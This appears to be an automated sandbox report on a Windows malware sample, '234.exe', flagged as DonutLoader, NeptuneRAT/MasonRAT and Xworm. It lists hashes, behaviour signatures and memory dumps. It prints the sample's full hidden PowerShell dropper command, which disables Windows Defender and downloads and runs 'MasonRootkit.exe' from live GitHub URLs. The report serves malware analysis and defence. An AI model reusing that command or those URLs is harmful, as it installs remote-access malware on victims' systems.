Analysis
- user interaction
yes - max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
27/07/2026, 03:45
General
- Target 234.exe
- Size 1.4MB
- Sample260727-ebenlsgn81
- SHA256 cb22ecf141895afa986c898edd2961d8ddbbd8f4515cd8bb48e36a93d582dd81
Malware Config
Extracted
-
ps1
-
exe.dropper
https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
-
exe.dropper
https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 3 IoCs
- Detects DonutLoader 1 IoCs
- Detects NeptuneRAT stealer 2 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\234.exe"C:\Users\Admin\AppData\Local\Temp\234.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_irvbkme4.yfx.ps1
memory/2936-14-0x000001C7F9730000-0x000001C7F98F2000-memory.dmp
memory/2936-19-0x000001C7F87A0000-0x000001C7F87B0000-memory.dmp
memory/2936-22-0x000001C7F87A0000-0x000001C7F87B0000-memory.dmp
memory/2936-5-0x000001C7F87A0000-0x000001C7F87B0000-memory.dmp
memory/2936-4-0x000001C7F87A0000-0x000001C7F87B0000-memory.dmp
memory/2936-11-0x000001C7F9160000-0x000001C7F9182000-memory.dmp
memory/2936-21-0x000001C7F87A0000-0x000001C7F87B0000-memory.dmp
memory/2936-20-0x000001C7F87A0000-0x000001C7F87B0000-memory.dmp
memory/2936-15-0x000001C7F9E30000-0x000001C7FA358000-memory.dmp
memory/3244-16-0x0000000002A20000-0x0000000002A30000-memory.dmp
memory/3244-17-0x0000000002A20000-0x0000000002A30000-memory.dmp
memory/3244-18-0x0000000002A20000-0x0000000002A30000-memory.dmp
memory/3244-0-0x0000000002790000-0x00000000027A5000-memory.dmp
memory/3244-1-0x0000000002A20000-0x0000000002A30000-memory.dmp
memory/3244-2-0x0000000002A40000-0x0000000002A52000-memory.dmp
memory/3244-3-0x0000000002A20000-0x0000000002A30000-memory.dmp